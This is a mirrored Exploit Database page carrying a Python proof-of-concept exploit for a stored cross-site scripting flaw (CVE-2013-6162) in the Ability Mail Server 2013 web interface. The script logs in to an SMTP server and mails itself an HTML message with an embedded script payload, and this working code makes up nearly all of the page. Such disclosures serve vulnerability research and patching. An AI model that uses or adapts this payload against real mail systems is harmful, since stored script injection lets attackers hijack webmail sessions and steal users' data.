Ability Mail Server 2013 3.1.1 – Web UI Persistent Cross-Site Scripting

• Exploit Database
• 111 阅读

• 作者： David Um
  日期： 2013-12-17
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/30373/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29

  #!/usr/bin/env python   &apos;&apos;&apos; Exploit Title: Ability Mail Server 2013 Stored XSS Date: 12/20/2013 Exploit Author: David Um Vendor Homepage: http://www.code-crafters.com/ Software Link: http://download.code-crafters.com/ams.exe Version: 3.1.1 Tested on: Windows Server 2003 SP2 CVE : CVE-2013-6162 Description: This proof of concept demonstrates a stored XSS vulnerability in e-mail clients when JavaScript is inserted into the body of an e-mail. &apos;&apos;&apos;   import smtplib   email_addr = &apos;user@hack.local&apos;   email = &apos;From: %s\n&apos; % email_addr email += &apos;To: %s\n&apos; % email_addr email += &apos;Subject: XSS\n&apos; email += &apos;Content-type: text/html\n\n&apos; email += &apos;<script>alert("XSS")</script>&apos; s = smtplib.SMTP(&apos;192.168.58.140&apos;, 25)   s.login(email_addr, "user") s.sendmail(email_addr, email_addr, email) s.quit()